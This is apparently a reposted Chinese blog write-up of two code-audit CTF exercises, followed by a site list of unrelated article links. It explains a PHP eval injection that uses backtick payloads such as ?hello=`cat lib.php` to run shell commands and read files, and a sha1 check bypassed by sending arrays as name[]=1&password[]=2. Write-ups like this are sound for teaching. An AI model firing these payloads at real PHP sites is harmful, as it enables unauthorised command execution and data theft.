Code-Audit(代码审计)习题记录4-5

2024-02-22 04:04

本文主要是介绍Code-Audit(代码审计)习题记录4-5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

4、习题4

题目内容如下:

<?php  
error_reporting(0); 
show_source(__FILE__); $a = @$_REQUEST['hello']; 
eval("var_dump($a);"); 
函数解释

$REQUEST — HTTP Request 变量,默认情况下包含了 [$GET],[$POST] 和 [$COOKIE]的数组。

var_dump() var_dump() 函数用于输出变量的相关信息。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

eval() 函数把字符串当作php 代码来执行

代码分析

总的来说就是eval函数来执行命令,从而获取flag。但是var_dump() 函数执行后,无法被eval函数当作php代码执行,因此,需要在var_dump() 函数执行的之后,就完成类似于 whoami这样的命令执行。

理解测试:

执行下面的代码,会直接打印字符

php -r "eval(var_dump('whoami'));" 

但是 反引号位 (`) 是可以执行命令的

因此执行下面代码,会输出root 等用户名

php -r "eval(var_dump(`whoami`));"

所以可以构造执行命令,查找当前含有flag 的文件,然后读物文件来获取flag

构造ls命令,获取当前目录文件 index.php和lib.php

?hello=`ls`

读取 lib.php 文件的内容

?hello=`cat lib.php`

显示内容长度为41,但是没有看到内容,右键查看源代码,得到flag ,原来是被注释掉了

 

flag{yczxtsadjadljada}

使用tac 命令,可以直接输出flag

 5、习题5

题目内容如下

 

代码如下:

<?php 
if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; 
} 
else{ echo '<p>Login first!</p>'; 
?>

经过代码分析,可以知道,首先GET 传入两个值,一个name 另一个password 首先就是这两个参数的值不一样,不然$GET['name'] == $GET['password'] 就会报错,接着,name和password 的sha1 的值要相等,并且这个相等采用了 === ,即不能采用弱类型比较===只有在相同类型下,才会比较其值。这样满足条件后,才能输出flag

函数解释:

die() 函数输出一条消息,并退出当前脚本。该函数是exit()函数的别名。

有意思的是 sha1不能处理数组,构造paylaod

 name[]=1&password[]=2

当我们传入name[]=1&password[]=2时,会造成sha1(Array) === sha1(Array),即NULL===NULL,从而吐出flag

Flag: flag{tczdaljdasnqw}

 

这篇关于Code-Audit(代码审计)习题记录4-5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/734074

相关文章

SpringCloud集成AlloyDB的示例代码

《SpringCloud集成AlloyDB的示例代码》AlloyDB是GoogleCloud提供的一种高度可扩展、强性能的关系型数据库服务,它兼容PostgreSQL,并提供了更快的查询性能... 目录1.AlloyDBjavascript是什么?AlloyDB 的工作原理2.搭建测试环境3.代码工程1.

Java调用Python代码的几种方法小结

《Java调用Python代码的几种方法小结》Python语言有丰富的系统管理、数据处理、统计类软件包,因此从java应用中调用Python代码的需求很常见、实用,本文介绍几种方法从java调用Pyt... 目录引言Java core使用ProcessBuilder使用Java脚本引擎总结引言python

Java中ArrayList的8种浅拷贝方式示例代码

《Java中ArrayList的8种浅拷贝方式示例代码》:本文主要介绍Java中ArrayList的8种浅拷贝方式的相关资料,讲解了Java中ArrayList的浅拷贝概念,并详细分享了八种实现浅... 目录引言什么是浅拷贝?ArrayList 浅拷贝的重要性方法一:使用构造函数方法二:使用 addAll(

JAVA利用顺序表实现“杨辉三角”的思路及代码示例

《JAVA利用顺序表实现“杨辉三角”的思路及代码示例》杨辉三角形是中国古代数学的杰出研究成果之一,是我国北宋数学家贾宪于1050年首先发现并使用的,:本文主要介绍JAVA利用顺序表实现杨辉三角的思... 目录一:“杨辉三角”题目链接二:题解代码:三:题解思路:总结一:“杨辉三角”题目链接题目链接:点击这里

SpringBoot使用注解集成Redis缓存的示例代码

《SpringBoot使用注解集成Redis缓存的示例代码》:本文主要介绍在SpringBoot中使用注解集成Redis缓存的步骤,包括添加依赖、创建相关配置类、需要缓存数据的类(Tes... 目录一、创建 Caching 配置类二、创建需要缓存数据的类三、测试方法Spring Boot 熟悉后,集成一个外

Servlet中配置和使用过滤器的步骤记录

《Servlet中配置和使用过滤器的步骤记录》:本文主要介绍在Servlet中配置和使用过滤器的方法,包括创建过滤器类、配置过滤器以及在Web应用中使用过滤器等步骤,文中通过代码介绍的非常详细,需... 目录创建过滤器类配置过滤器使用过滤器总结在Servlet中配置和使用过滤器主要包括创建过滤器类、配置过滤

轻松掌握python的dataclass让你的代码更简洁优雅

《轻松掌握python的dataclass让你的代码更简洁优雅》本文总结了几个我在使用Python的dataclass时常用的技巧,dataclass装饰器可以帮助我们简化数据类的定义过程,包括设置默... 目录1. 传统的类定义方式2. dataclass装饰器定义类2.1. 默认值2.2. 隐藏敏感信息

opencv实现像素统计的示例代码

《opencv实现像素统计的示例代码》本文介绍了OpenCV中统计图像像素信息的常用方法和函数,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录1. 统计像素值的基本信息2. 统计像素值的直方图3. 统计像素值的总和4. 统计非零像素的数量

IDEA常用插件之代码扫描SonarLint详解

《IDEA常用插件之代码扫描SonarLint详解》SonarLint是一款用于代码扫描的插件,可以帮助查找隐藏的bug,下载并安装插件后,右键点击项目并选择“Analyze”、“Analyzewit... 目录SonajavascriptrLint 查找隐藏的bug下载安装插件扫描代码查看结果总结Sona

正则表达式高级应用与性能优化记录

《正则表达式高级应用与性能优化记录》本文介绍了正则表达式的高级应用和性能优化技巧,包括文本拆分、合并、XML/HTML解析、数据分析、以及性能优化方法,通过这些技巧,可以更高效地利用正则表达式进行复杂... 目录第6章:正则表达式的高级应用6.1 模式匹配与文本处理6.1.1 文本拆分6.1.2 文本合并6